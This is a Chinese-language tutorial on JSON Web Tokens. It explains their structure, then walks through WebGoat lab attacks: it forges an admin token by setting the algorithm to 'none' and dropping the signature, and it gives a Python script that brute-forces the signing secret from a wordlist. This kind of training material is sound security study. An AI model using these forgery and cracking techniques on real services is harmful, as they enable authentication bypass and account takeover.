什么是JWT? JSON Web Token(JSON Web令牌)是一种跨域验证身份的方案。 JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改 JWT分为三部分,头部(Header),声明(Claims),签名(Signature), 三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。 头部(Header) { "alg":"HS256", "typ":"JWT" } alg 是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等, 也可以为None。HS256表示HMAC SHA256。 typ 说明这个token的类型为JWT 声明(Claims) { "exp": 1416471934, "user_name": "user", "scope": [ "read", "write" ], "authorities": [ "ROLE_ADMIN", "ROLE_USER" ], "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84", "client_id": "my-client-with-secret" } JWT固定参数有: iss:发行人 exp:到期时间 sub:主题 aud:用户 nbf:在此之前不可用 iat:发布时间 jti:JWT ID用于标识该JWT 签名(Signature) 服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。 下面是一个用HS256生成JWT的代码例子 HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)
1、用户端登录,用户名和密码在请求中被发往服务器 2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中 (通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT。此时,服务器并没有保存登录状态信息。 3、服务器将JWT(通过响应)返回给客户端 4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中 5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态 6、服务器返回响应
Javaweb-身份验证攻击-JWT修改伪造攻击
涉及资源链接:
https://github.com/WebGoat/WebGoat/releases
注: WebGoat 需要高版本的jdk才可以打开。
浏览器访问:
http://127.0.0.1:8080/WebGoat/login
新打开的页面 需要用户名和密码 默认没有 需要自己注册一个。
打开第三关第二节 四关卡
点击一个用户名 再点击重置按钮 burp 抓包
发送到Reteaper 复制令牌 burp更改数据 在重新编码
拼接两段数据 中间使用点
注意: 问题来了,因为JWT的声明内容变了,因此签名需要重新生成,生成签名又需要密码,我们没有密码呀?不要慌,我们直接去掉签名就好~修改头部为None 在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码
原令牌访问
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgzNzU5MzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.oy0xpcSk2SUCF9qlZMVnLU_lzHfMTJi8fle6-OsIM-veFWELa2rH-8Eq0hcs0Gyp0XeAsK3YZc9GJojCvbUhFg
修改后的令牌访问
ewogICJhbGciOiAibm9uJ2UiCn0.ewogICJpYXQiOiAxNjA4Mzc1OTM5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
Javaweb-身份验证攻击-JWT密匙爆破攻击
import jwt import termcolor if __name__ == "__main__": jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwNzUxNDAxNSwiZXhwIjoxNjA3NTE0MDc1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.U0CtVEeNt9OQLWIoa3balJ_4S7czcnhAkMx6NHERC34 ' with open('top1000.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, verify=True, key=key_) print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError: print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True) continue else: print('\r', '\bsorry! no key be found.')